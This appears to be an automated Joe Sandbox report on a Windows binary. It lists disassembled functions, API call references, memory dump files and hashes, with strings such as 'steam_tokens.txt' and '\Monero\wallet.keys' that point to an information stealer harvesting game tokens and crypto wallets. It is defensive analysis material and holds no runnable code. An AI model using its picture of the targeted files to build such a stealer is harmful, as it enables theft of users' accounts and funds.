Part of subcall function 00888680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008905B7), ref: 008886CA
Part of subcall function 00888680: Process32First.KERNEL32(?,00000128), ref: 008886DE
Part of subcall function 00888680: Process32Next.KERNEL32(?,00000128), ref: 008886F3
Part of subcall function 00888680: CloseHandle.KERNEL32(?), ref: 00888761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0088265B

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: ebf1ec7db462fcc5452948b965512980885dc2c9ed980d2bd5e68252cc098494
Instruction ID: bbc46f2aa0865a2431b52e02044f8745142dd3663778ea7239ed8977b2210fbd
Opcode Fuzzy Hash: ebf1ec7db462fcc5452948b965512980885dc2c9ed980d2bd5e68252cc098494
Instruction Fuzzy Hash: E0722D72814118AAEB1DFB94DD91DDE7338FF54300F5442AAA526A20D1EF343B4ACB67

Function 00876D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 290dffc664b850eee35e3c1091aaf236cc135d844a7a5ebd3505dcdb9ed9d3c4
Instruction ID: 2e902751298f4124bc9dd9ad0f61f067026e336395a9b777dd51b079587d424f
Opcode Fuzzy Hash: 290dffc664b850eee35e3c1091aaf236cc135d844a7a5ebd3505dcdb9ed9d3c4
Instruction Fuzzy Hash: 5E6117B5900618DFCB14DF98E984BEEB7B0FB04304F208598E419A7285E735EEA4DF91

Function 008870D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0088718C

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 26c2f0ad4f714eaecf8100625a3ff0cf76331335d264e0d97b1db708268c1359
Instruction ID: ec6d22a76539ba1071b52acc82720e7b81ebbbd3edd1a8e8d339d58acaf949c9
Opcode Fuzzy Hash: 26c2f0ad4f714eaecf8100625a3ff0cf76331335d264e0d97b1db708268c1359
Instruction Fuzzy Hash: 8D514EB0D042189BDB14FB94DC85BEDB774FF54304F2040A9E219E6181EB74AE88CF55

Function 00885100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A820: lstrlen.KERNEL32(00874F05,?,?,00874F05,00890DDE), ref: 0088A82B
Part of subcall function 0088A820: lstrcpy.KERNEL32(00890DDE,00000000), ref: 0088A885

lstrlen.KERNEL32(00000000,00000000,00890ACA), ref: 0088512A

Strings

steam_tokens.txt, xrefs: 0088513F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 4e0caf29d1da5bf64b30ea9742159704dc8b3382a8eba1525a4e9d250d5284ee
Instruction ID: 60f9cd247d516f646756af80d130b8e09073f68e7e6a605b5ad3c9600a886a62
Opcode Fuzzy Hash: 4e0caf29d1da5bf64b30ea9742159704dc8b3382a8eba1525a4e9d250d5284ee
Instruction Fuzzy Hash: CBF0E8719101086AEB08F7A8DC969ED773CFA54300F404269B456E24D2EF38AA0987A3

Function 00887ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00890E2C), ref: 00887F00
wsprintfA.USER32 ref: 00887F16

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: a9c9375b304820e812c37d95ec86c7fb292c1ba75be032a50cc16fcdd33b048a
Instruction ID: 734b48899d5780306688035a4432ff6cfba97bd083df8efd504af5bd55d968d4
Opcode Fuzzy Hash: a9c9375b304820e812c37d95ec86c7fb292c1ba75be032a50cc16fcdd33b048a
Instruction Fuzzy Hash: 2CF096B1944218EBCB10DF85DC45FAAF7BCFB44724F000669F515D2281D77959448BD1

Function 0087B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

lstrlen.KERNEL32(00000000), ref: 0087B9C2
lstrlen.KERNEL32(00000000), ref: 0087B9D6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c37cbe08d86cf32767aadeb09f7c553fcf4740a37059ed6168c6f36e897fe35c
Instruction ID: 3536aa6046692d977c4e81e3c712df4f9d48e2c647a9e77c077b4214f91285c1
Opcode Fuzzy Hash: c37cbe08d86cf32767aadeb09f7c553fcf4740a37059ed6168c6f36e897fe35c
Instruction Fuzzy Hash: DDE1BF729101189AEB09FBA4CD96DEE7338FF54300F40416AF516E61E1EE386A49CB73

Function 0087AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

lstrlen.KERNEL32(00000000), ref: 0087B16A
lstrlen.KERNEL32(00000000), ref: 0087B17E

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 43150155530225b81867504322eb7708805005a99a51b66f0cb83c58a2363d25
Instruction ID: 1a324a8697418e1e4ccf270207c6bda59946916bda8b76d8e225c649ab87a16c
Opcode Fuzzy Hash: 43150155530225b81867504322eb7708805005a99a51b66f0cb83c58a2363d25
Instruction Fuzzy Hash: E391CD729101149AEB08FBA8DD95DEE7338FF54300F50416AF516E61E2EF386A49CB63

Function 0087B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

lstrlen.KERNEL32(00000000), ref: 0087B42E
lstrlen.KERNEL32(00000000), ref: 0087B442

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
